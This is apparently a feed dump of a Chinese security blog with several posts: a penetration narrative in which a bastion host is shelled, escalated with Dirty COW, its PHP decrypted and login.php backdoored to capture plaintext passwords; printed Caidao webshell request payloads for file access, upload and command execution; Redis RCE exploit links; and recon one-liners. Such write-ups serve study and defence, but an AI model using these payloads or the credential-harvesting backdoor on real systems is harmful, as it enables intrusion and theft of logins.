      
    <summary type="html">&lt;p&gt;最近看到大家都在玩chrome的各种利用，6的飞起。&lt;/p&gt;
&lt;p&gt;求Red Team大佬放过，hvv马上也快停止了。&lt;/p&gt;
&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;如果要</summary>
      
    
    
    
    
    <category term="Chrome SSLVPN" scheme="https://naxg.github.io/tags/Chrome-SSLVPN/"/>
    
  </entry>
  
  <entry>
    <title>某堡垒机的明文密码获取</title>
    <link href="https://naxg.github.io/2020/09/07/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/"/>
    <id>https://naxg.github.io/2020/09/07/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/</id>
    <published>2020-09-07T06:28:43.000Z</published>
    <updated>2021-04-20T13:22:42.014Z</updated>
    
    <content type="html"><![CDATA[<p>在一次进行内网渗透的过程中发现目标使用了某品牌的堡垒机，直接找公开漏洞</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image002.jpg" alt="img"></p><p>直接利用CNVD-2019-20835对目标进行getshell。</p><p>查看版本 2.6.32 可以直接用脏牛漏洞进行提权，使用的数据库是postgres，直接导出吧。</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image004.jpg" alt="img"></p><p>通过查询导出后的hash和阅读代码发现数据库存储密码使用了sha1(password+Salt)的方式进行存储，加上堡垒机的密码设置规则一般不少于8位数的数字+字母+特殊字符 用这种方式获取能登录的账户密码基本无解。</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image006.jpg" alt="img"></p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image008.jpg" alt="img"></p><p>代码使用的是PM9SCREW加密过的，解密脚本 </p><p><a href="https://github.com/firebroo/screw_decode">https://github.com/firebroo/screw_decode</a> </p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image010.jpg" alt="img"></p><p>解密PM9SCREW要满足2个条件，一个就是获得PM9SCREW所使用的编码可以从加密的php文件开头获取到，还有一个就是所使用的pm9screw_mycryptkey 这个需要对php_screw.so进行逆向获取。</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image012.jpg" alt="img"></p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image014.jpg" alt="img"></p><p>转换为10进制就是45456, 52453, XXXXXXXXXXXXXXXXXXXX，不知道是不是每个厂商是特定的一串key 还是打一下码害怕找上门。</p><p>用github上下载下来的代码替换一下key，重新编译一下就好了</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image016.jpg" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.&#x2F;decode shterm&#x2F;</span><br><span class="line">find . -name &quot;*.php&quot; | xargs rm -rf</span><br><span class="line">find . -name &#39;*.php.decode&#39; | awk -F &quot;.&quot; &#39;&#123;print $2&#125;&#39; | xargs -i -t mv .&#x2F;&#123;&#125;.php.decode .&#x2F;&#123;&#125;.php</span><br></pre></td></tr></table></figure><p>依次执行一下 就能获得解密后的代码了。</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image018.jpg" alt="img"></p><p>接下来的思路就是怎么获取明文密码了，我的思路就是在login.php插入记录用户名和账号密码的流量记录脚本。</p><p>修改一下以前打CTF时用过的脚本</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image020.jpg" alt="img"></p><p>在login.php文件里包含一下这个文件.</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image022.jpg" alt="img"></p><p>还要对login.php文件进行加密, <a href="https://github.com/Luavis/php-screw">https://github.com/Luavis/php-screw</a></p><p>直接替换一下my_screw.h 里面的key到tools目录下直接编译就好了。</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image024.jpg" alt="img"></p><p>直接到服务器替换login.php就OK了</p><p>几天后………</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image026.jpg" alt="img"></p><p>抓到的POST数据包，password字段也是经过加密的</p><p>看一下login.php发现是用了rc4加密 直接用里面的代码进行解密就得到明文了</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image028.jpg" alt="img"></p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image029.png" alt="img"></p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image031.jpg" alt="img"></p><p>经过大佬的提醒，刚刚看了一下密码是直接存储在session文件里面的，这样的话就不用搞那么多花样了直接看session文件</p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image002-1599463918708.jpg" alt="img"></p><p><img src="/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96/clip_image003.jpg" alt="img"></p><p>读代码一定要先读完再去考虑怎么做…</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在一次进行内网渗透的过程中发现目标使用了某品牌的堡垒机，直接找公开漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/%E6%9F%90%E5%A0%A1%E5%9E%92%E6%9C%BA%E7%9A%84%E6%98%8E%E6%96%87%E5%AF%86%E7%</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>caidao流量分析</title>
    <link href="https://naxg.github.io/2019/08/01/caidao%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/"/>
    <id>https://naxg.github.io/2019/08/01/caidao%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/</id>
    <published>2019-08-01T15:31:15.000Z</published>
    <updated>2019-08-01T15:52:28.404Z</updated>
    
    <content type="html"><![CDATA[<h2 id="请求包一"><a href="#请求包一" class="headerlink" title="请求包一"></a>请求包一</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$D</span> = dirname(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="variable">$R</span> = <span class="string">&quot;<span class="subst">&#123;$D&#125;</span>\t&quot;</span>;</span><br><span class="line"><span class="keyword">if</span> (substr(<span class="variable">$D</span>, <span class="number">0</span>, <span class="number">1</span>) != <span class="string">&quot;/&quot;</span>) &#123;</span><br><span class="line">    <span class="keyword">foreach</span>(range(<span class="string">&quot;A&quot;</span>, <span class="string">&quot;Z&quot;</span>) <span class="keyword">as</span> <span class="variable">$L</span>) <span class="keyword">if</span> (is_dir(<span class="string">&quot;<span class="subst">&#123;$L&#125;</span>:&quot;</span>)) <span class="variable">$R</span>. = <span class="string">&quot;<span class="subst">&#123;$L&#125;</span>:&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$R</span>. = <span class="string">&quot;\t&quot;</span>;</span><br><span class="line"><span class="variable">$u</span> = (function_exists(<span class="string">&#x27;posix_getegid&#x27;</span>)) ? @posix_getpwuid(@posix_geteuid()) : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$usr</span> = (<span class="variable">$u</span>) ? <span class="variable">$u</span>[<span class="string">&#x27;name&#x27;</span>] : @get_current_user();</span><br><span class="line"><span class="variable">$R</span>. = php_uname();</span><br><span class="line"><span class="variable">$R</span>. = <span class="string">&quot;(<span class="subst">&#123;$usr&#125;</span>)&quot;</span>;</span><br><span class="line"><span class="keyword">print</span> <span class="variable">$R</span>;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>@ ini_set(“display_errors”, “0”)关闭PHP的错误显示<br>@set_time_limit(0)     设置程序的执行时间，应该是为了放在上传文件，执行命令回显超时等问题。<br>if (PHP_VERSION &lt; ‘5.3.0’) {@set_magic_quotes_runtime(0);};版本大于5.3.0就关闭，当传输的POST或者get数据存在反斜杆（\）、单引号（’）、双引号（”）等特殊字符是就自动加上(斜杠)。<br>echo(“X@Y”);用于反caidao返回数据的中定位用的，如X@Y12345X@Y,那么caidao就读出内容为12345,<br>if (substr($D, 0, 1) != “/“) {<br>    foreach(range(“A”, “Z”) as $L) if (is_dir(“{$L}:”)) $R. = “{$L}:”;<br>}<br>获取网站的绝对路径以及存在多少个盘.<br>$u = (function_exists(‘posix_getegid’)) ? @posix_getpwuid(@posix_geteuid())<br>获取当前进程的用户名，这个好像posix_geteuid()好像只有在linux下才有效<br>$usr = ($u) ? $u[‘name’] : @get_current_user();<br>获取执行脚本权限的用户名，比如www，system。<br>php_uname();返回了运行 PHP 的操作系统的描述</p><p>##请求包二</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$D</span> = <span class="string">&#x27;D:\\www\\security\\&#x27;</span>;</span><br><span class="line"><span class="variable">$F</span> = @opendir(<span class="variable">$D</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$F</span> == <span class="literal">NULL</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span>(<span class="string">&quot;ERROR:// Path Not Found Or No Permission!&quot;</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="variable">$M</span> = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="variable">$L</span> = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="variable">$N</span> = @readdir(<span class="variable">$F</span>)) &#123;</span><br><span class="line">        <span class="variable">$P</span> = <span class="variable">$D</span>.<span class="string">&#x27;/&#x27;</span>.<span class="variable">$N</span>;</span><br><span class="line">        <span class="variable">$T</span> = @date(<span class="string">&quot;Y-m-d H:i:s&quot;</span>, @filemtime(<span class="variable">$P</span>));@<span class="variable">$E</span> = substr(base_convert(@fileperms(<span class="variable">$P</span>), <span class="number">10</span>, <span class="number">8</span>), <span class="number">-4</span>);</span><br><span class="line">        <span class="variable">$R</span> = <span class="string">&quot;\t&quot;</span>.<span class="variable">$T</span>.<span class="string">&quot;\t&quot;</span>.@filesize(<span class="variable">$P</span>).<span class="string">&quot;\t&quot;</span>.<span class="variable">$E</span>.<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">        <span class="keyword">if</span> (@is_dir(<span class="variable">$P</span>)) <span class="variable">$M</span>. = <span class="variable">$N</span>.<span class="string">&quot;/&quot;</span>.<span class="variable">$R</span>;</span><br><span class="line">        <span class="keyword">else</span> <span class="variable">$L</span>. = <span class="variable">$N</span>.<span class="variable">$R</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$M</span>.<span class="variable">$L</span>;@closedir(<span class="variable">$F</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>@date(“Y-m-d H:i:s”, @filemtime($P));<br>获取“D:\www\security\”下的文件时间<br>@$E = substr(base_convert(@fileperms($P), 10, 8), -4)<br>文件权限以八进制的形式进行返回 如0777，0666</p><h2 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$F</span> = <span class="string">&#x27;D:\\www\\security\\2008.php&#x27;</span>;</span><br><span class="line"><span class="variable">$P</span> = @fopen(<span class="variable">$F</span>, <span class="string">&#x27;r&#x27;</span>);</span><br><span class="line"><span class="keyword">echo</span>(@fread(<span class="variable">$P</span>, filesize(<span class="variable">$F</span>)));@fclose(<span class="variable">$P</span>);;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>$P = @fopen($F, ‘r’);<br>echo(@fread($P, filesize($F)));@fclose($P);;<br>打开需要读取的文件，获取文件大小然后进行读取，读取完成后关闭打开的文件</p><h2 id="文件下载"><a href="#文件下载" class="headerlink" title="文件下载"></a>文件下载</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$F</span> = <span class="string">&quot;D:\\www\\security\\2008.php&quot;</span>;</span><br><span class="line"><span class="variable">$fp</span> = @fopen(<span class="variable">$F</span>, <span class="string">&#x27;r&#x27;</span>);</span><br><span class="line"><span class="keyword">if</span> (@fgetc(<span class="variable">$fp</span>)) &#123;@fclose(<span class="variable">$fp</span>);@readfile(<span class="variable">$F</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">echo</span>(<span class="string">&#x27;ERROR:// Can Not Read&#x27;</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>使用fgetc（）函数判断文件是不是空的，是空的话跳过，不是空则用@readfile()进行读取并且下载</p><h2 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$f</span> = <span class="string">&#x27;D:\\www\\security\\php.php&#x27;</span>;</span><br><span class="line"><span class="variable">$c</span> = <span class="variable">$_POST</span>[<span class="string">&quot;z1&quot;</span>];</span><br><span class="line"><span class="variable">$c</span> = str_replace(<span class="string">&quot;\r&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$c</span>);</span><br><span class="line"><span class="variable">$c</span> = str_replace(<span class="string">&quot;\n&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="variable">$c</span>);</span><br><span class="line"><span class="variable">$buf</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; strlen(<span class="variable">$c</span>); <span class="variable">$i</span> += <span class="number">2</span>) <span class="variable">$buf</span>. = urldecode(<span class="string">&#x27;%&#x27;</span>.substr(<span class="variable">$c</span>, <span class="variable">$i</span>, <span class="number">2</span>));</span><br><span class="line"><span class="keyword">echo</span>(@fwrite(fopen(<span class="variable">$f</span>, <span class="string">&#x27;w&#x27;</span>), <span class="variable">$buf</span>) ? <span class="string">&#x27;1&#x27;</span>: <span class="string">&#x27;0&#x27;</span>);;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br><span class="line">&amp;z1=<span class="number">6161</span></span><br></pre></td></tr></table></figure><p>for ($i = 0; $i &lt; strlen($c); $i += 2) $buf. = urldecode(‘%’.substr($c, $i, 2));<br>echo(@fwrite(fopen($f, ‘w’), $buf) ? ‘1’: ‘0’);<br>&amp;z1=6161的值为16进制编码，把文件上次内容进行16进制编码然后使用urldecode进行16进制的解码，然后写入文件.</p><h2 id="虚拟终端"><a href="#虚拟终端" class="headerlink" title="虚拟终端"></a>虚拟终端</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">@ini_set(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);@set_time_limit(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (PHP_VERSION &lt; <span class="string">&#x27;5.3.0&#x27;</span>) &#123;@set_magic_quotes_runtime(<span class="number">0</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="variable">$m</span> = get_magic_quotes_gpc();</span><br><span class="line"><span class="variable">$p</span> = <span class="string">&#x27;cmd&#x27;</span>;</span><br><span class="line"><span class="variable">$s</span> = <span class="string">&#x27;cd /d D:\\www\\security\\&amp;whoami&amp;echo [S]&amp;cd&amp;echo [E]&#x27;</span>;</span><br><span class="line"><span class="variable">$d</span> = dirname(<span class="variable">$_SERVER</span>[<span class="string">&quot;SCRIPT_FILENAME&quot;</span>]);</span><br><span class="line"><span class="variable">$c</span> = substr(<span class="variable">$d</span>, <span class="number">0</span>, <span class="number">1</span>) == <span class="string">&quot;/&quot;</span> ? <span class="string">&quot;-c \&quot;<span class="subst">&#123;$s&#125;</span>\&quot;&quot;</span>: <span class="string">&quot;/c \&quot;<span class="subst">&#123;$s&#125;</span>\&quot;&quot;</span>;</span><br><span class="line"><span class="variable">$r</span> = <span class="string">&quot;<span class="subst">&#123;$p&#125;</span> <span class="subst">&#123;$c&#125;</span>&quot;</span>;</span><br><span class="line"><span class="variable">$array</span> = <span class="keyword">array</span>(<span class="keyword">array</span>(<span class="string">&quot;pipe&quot;</span>, <span class="string">&quot;r&quot;</span>), <span class="keyword">array</span>(<span class="string">&quot;pipe&quot;</span>, <span class="string">&quot;w&quot;</span>), <span class="keyword">array</span>(<span class="string">&quot;pipe&quot;</span>, <span class="string">&quot;w&quot;</span>));</span><br><span class="line"><span class="variable">$fp</span> = proc_open(<span class="variable">$r</span>.<span class="string">&quot; 2&gt;&amp;1&quot;</span>, <span class="variable">$array</span>, <span class="variable">$pipes</span>);</span><br><span class="line"><span class="variable">$ret</span> = stream_get_contents(<span class="variable">$pipes</span>[<span class="number">1</span>]);</span><br><span class="line">proc_close(<span class="variable">$fp</span>);</span><br><span class="line"><span class="keyword">print</span> <span class="variable">$ret</span>;;</span><br><span class="line"><span class="keyword">echo</span>(<span class="string">&quot;X@Y&quot;</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br></pre></td></tr></table></figure><p>dirname($_SERVER[“SCRIPT_FILENAME”]获取当前可执行脚本的路径部分，如echo dirname(“C:/testweb/home.php”); 返回C:/testweb/<br>$c = substr($d, 0, 1) == “/“ ? “-c &quot;{$s}&quot;“: “/c &quot;{$s}&quot;“;判断获取到的路径是不是/开头的如果是则执行 /bin/sh -c “whoami”如果不是则会执行cmd /c “whoami”<br>/bin/sh 一般为/bin/<br>/bin/sh 相当于 /bin/bash –posix<br>/bin/sh -c “参数”如何不加-c参数，则shell会进入一个交互式的shell<br>Cmd /c “参数”执行完指定命令后然后终止</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;请求包一&quot;&gt;&lt;a href=&quot;#请求包一&quot; class=&quot;headerlink&quot; title=&quot;请求包一&quot;&gt;&lt;/a&gt;请求包一&lt;/h2&gt;&lt;figure class=&quot;highlight php&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Redis_Rce</title>
    <link href="https://naxg.github.io/2019/07/10/Redis-Rce/"/>
    <id>https://naxg.github.io/2019/07/10/Redis-Rce/</id>
    <published>2019-07-10T07:48:01.000Z</published>
    <updated>2019-07-10T07:57:16.892Z</updated>
    
    <content type="html"><![CDATA[<h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>docker pull redis</p><p><img src="/images/pasted-19.png" alt="upload successful"></p><p>Docker run -d redis</p><p><img src="/images/pasted-20.png" alt="upload successful"></p><p>Docker run -it redis /bin/bash</p><p><img src="/images/pasted-21.png" alt="upload successful"></p><p> docker inspect 9f5946f764b9 | grep IPAddress</p><p><img src="/images/pasted-22.png" alt="upload successful"></p><p> <a href="https://github.com/jas502n/Redis-RCE">https://github.com/jas502n/Redis-RCE</a></p><p><img src="/images/pasted-23.png" alt="upload successful"></p><h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h2><p>文章<a href="https://paper.seebug.org/975/">https://paper.seebug.org/975/</a></p><p><img src="/images/pasted-24.png" alt="upload successful"></p><p>看这张图就懂了</p><h2 id="漏洞参考"><a href="#漏洞参考" class="headerlink" title="漏洞参考"></a>漏洞参考</h2><p><a href="https://paper.seebug.org/975/">https://paper.seebug.org/975/</a></p><h2 id="漏洞EXP"><a href="#漏洞EXP" class="headerlink" title="漏洞EXP"></a>漏洞EXP</h2><p><a href="https://github.com/LoRexxar/redis-rogue-server">https://github.com/LoRexxar/redis-rogue-server</a><br><a href="https://github.com/jas502n/Redis-RCE">https://github.com/jas502n/Redis-RCE</a><br><a href="https://github.com/n0b0dyCN/redis-rogue-server">https://github.com/n0b0dyCN/redis-rogue-server</a><br><a href="https://github.com/RicterZ/RedisModules-ExecuteCommand">https://github.com/RicterZ/RedisModules-ExecuteCommand</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;漏洞复现&quot;&gt;&lt;a href=&quot;#漏洞复现&quot; class=&quot;headerlink&quot; title=&quot;漏洞复现&quot;&gt;&lt;/a&gt;漏洞复现&lt;/h2&gt;&lt;p&gt;docker pull redis&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/pasted-19.png&quot; alt=</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>信息收集小技巧</title>
    <link href="https://naxg.github.io/2019/07/10/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
    <id>https://naxg.github.io/2019/07/10/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E5%B0%8F%E6%8A%80%E5%B7%A7/</id>
    <published>2019-07-10T03:18:14.000Z</published>
    <updated>2019-07-10T03:45:17.061Z</updated>
    
    <content type="html"><![CDATA[<p>分享一个最近公司大佬教的信息收集技巧感觉挺不错的，适合用于大型企业，护网信息收集</p><h2 id="子域名收集"><a href="#子域名收集" class="headerlink" title="子域名收集"></a>子域名收集</h2><p>使用Sublist3r进行枚举枚举子域名</p><pre><code>python sublist3r.py -d dingtalk.com -b -t 50 -o dingtalk.com.txt</code></pre><p><img src="/images/pasted-13.png" alt="upload successful"></p><h2 id="Ip段资产收集"><a href="#Ip段资产收集" class="headerlink" title="Ip段资产收集"></a>Ip段资产收集</h2><p>使用BASH脚本把域名解析成IP，并且去重加C段识别</p><pre><code>for i in `cat dingtalk.com.txt`;do host $i|grep -E -o &quot;([0-9]&#123;1,3&#125;[\.])&#123;3&#125;[0-9]&#123;1,3&#125;&quot;;done &gt;ips.txt</code></pre><p><img src="/images/pasted-14.png" alt="upload successful"></p><pre><code>cat ips.txt |sort|uniq|grep -E -o &quot;([0-9]&#123;1,3&#125;[\.])&#123;3&#125;&quot;|uniq -c|awk &#39;&#123;if($1&gt;=2)print $2&quot;0/24&quot;&#125;&#39; &gt; ip.txt</code></pre><p><img src="/images/pasted-15.png" alt="upload successful"></p><p>对于大公司的IP段的信息收集可以使用<a href="https://bgp.he.net/">https://bgp.he.net</a></p><p><img src="/images/pasted-16.png" alt="upload 